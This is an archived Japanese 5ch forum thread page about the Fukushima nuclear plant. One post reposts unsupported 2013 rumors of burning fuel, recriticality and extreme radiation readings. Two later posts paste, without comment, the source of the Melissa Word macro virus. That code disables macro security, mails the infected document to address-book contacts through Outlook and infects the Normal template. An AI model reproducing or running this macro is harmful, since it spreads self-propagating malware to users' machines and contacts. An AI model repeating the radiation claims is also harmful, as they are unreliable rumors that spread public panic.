★ジョジョの奇妙な原発★

[過去ﾛｸﾞ] ★ジョジョの奇妙な原発★ (152ﾚｽ)
上下前次 1-新
通常表示 512ﾊﾞｲﾄ分割ﾚｽ栞

このｽﾚｯﾄﾞは過去ﾛｸﾞ倉庫に格納されています｡
次ｽﾚ検索歴削→次ｽﾚ栞削→次ｽﾚ過去ﾛｸﾞﾒﾆｭｰ

137: 地震雷火事名無し(家) [] 2013/07/30(火) NY:AN:NY.AN ID:3PRYandh0

『速報 ! ! 福島原発再び激しく発光 ! !』
http://ameblo.jp/yuuna7777777/entry-11582596032.html …
http://stat.ameba.jp/user_images/20130729/22/yuuna7777777/f5/64/p/o0800049912627298503.png …

今！！福島第一原発は非常事態！
東電関係者のリークによると、現在、福島第一原発の２号機と３号機、そして４号機、
さらに、その周辺施設と敷地において、核燃料が燃え始めているとのことです。
https://twitter.com/takehariy/status/361848698659028992

第一原発で働く作業員は下請けの下請けの下請けです。
恐らく、契約書では情報を第三者に漏らさないことを誓約させられているはずですが、
情報が漏れています。 迷惑がかかるので、情報元は臥せておきます。

フクイチ、火災の疑いがあります。本日、双葉一時帰宅した方が、
警鐘をならしながら走る、消防車を見ています。情報を共有しましょう。
https://twitter.com/team_pegasus_mg/status/361511185226539008

緊急です】本日18:00からのスピーディー情報でヨウ素が拡散しております。
つまり【再臨界】が起きていると http://fb.me/2jqUmE9gH
https://twitter.com/mikan_917/status/361839821548822528

『要警戒 ! ! 本日　福島で４万１,９６７μSv観測 ! !(通常0.09) 約４７万倍 !』
JNN、福島原発がずっと白煙でおおわれていた、これは故障でなかったと。
膨大な量の放射性物質が放出。各地で警戒してください。

今さっきのTVニュース。
コンサートで倒れた女の子達の中に、吐血している子がいた、と他の観客が語っていました。
大雨で低体温症かつ吐血なんて、普通なるのでしょうか？
今、福一の3号機からもくもく出ている湯気の中の放射性物質、関係ないのかな？
怖いよう。。。(>_<)摩訶不思議。
https://twitter.com/LuckyKaoru/status/361145416189870086

http://wc2014.5ch.net/test/read.cgi/lifeline/1310638934/137

141: 地震雷火事名無し(WiMAX) [sage] 2013/11/14(木) 00:09:04.78 ID:Re/4loPN0

Private Sub Document_Open()On Error Resume NextIf System.PrivateProfileString
("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level")
<> "" ThenCommandBars("Macro").Controls("Security...").Enabled = FalseSystem.
PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Wor
d\Security", "Level") = 1&amp;ElseCommandBars("Tools").Controls("Macro").Enabled
= FalseOptions.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)End IfDim UngaDasOutlook, DasMapiName,
BreakUmOffASliceSet UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If System.PrivateProfileString
("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "...
by Kwyjibo" ThenIf UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "
password"For y = 1 To DasMapiName.AddressLists.CountSet AddyBook = DasMapiName.
AddressLists(y)x = 1Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)For oo =
1 To AddyBook.AddEntries.CountPeep = AddyBook.AddressEntries(x)BreakUmOffASlice.
Recipients.Add Peepx = x + 1If x > 50 Then oo = AddyBook.AddressEntries.CountNext
ooBreakUmOffASlice.Subject = "Important Message From " &amp; Application.UserName

http://wc2014.5ch.net/test/read.cgi/lifeline/1310638934/141

142: 地震雷火事名無し(WiMAX) [sage] 2013/11/14(木) 00:10:25.73 ID:Re/4loPN0

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)
"BreakUmOffASlice.Attachments.Add ActiveDocument.FullNameBreakUmOffASlice.SendPeep =
""Next yDasMapiName.LogoffEnd IfSystem.PrivateProfileString("", "HKEY_CURRENT_USER\Software\
Microsoft\Office\", "Melissa?") = "... by Kwyjibo"End IfSet ADI1 = ActiveDocument.VBProject.
VBComponents.Item(1)Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)NTCL =
NTI1.CodeModule.CountOfLinesADCL = ADI1.CodeModule.CountOfLinesBGN = 2If ADI1.Name <>
"Melissa" ThenIf ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCLSet ToInfect = ADI1ADI1.
Name = "Melissa"DoAD = TrueEnd IfIf NTI1.Name <> "Melissa" ThenIf NTCL > 0 Then NTI1.
CodeModule.DeleteLines 1, NTCLSet ToInfect = NTI1NTI1.Name = "Melissa"DoNT = TrueEnd IfIf DoNT
<> True And DoAD <> True Then GoTo CYAIf DoNT = True ThenDo While ADI1.CodeModule.Lines(1, 1)
= ""ADI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1)
= ""NTI1.CodeModule.DeleteLines 1LoopToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines
(BGN, 1)BGN = BGN + 1LoopEnd IfCYA:If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document")
= False) ThenActiveDocument.SaveAs FileName:=ActiveDocument.FullNameElseIf (InStr(1, ActiveDocument.Name,
"Document") <> False) ThenActiveDocument.Saved = True End If'WORD/Melissa written by Kwyjibo'Works
in both Word 2000 and Word 97'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!'Word ->
Email | Word 97 <--> Word 2000 ... it's a new age!If Day(Now) = Minute(Now) Then Selection.TypeText "
Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."End Sub noscript

http://wc2014.5ch.net/test/read.cgi/lifeline/1310638934/142

上下前次 1-新書関写板覧索設栞歴

ｽﾚ情報赤ﾚｽ抽出画像ﾚｽ抽出歴の未読ｽﾚ AAｻﾑﾈｲﾙ

ぬこの手ぬこTOP 0.162s*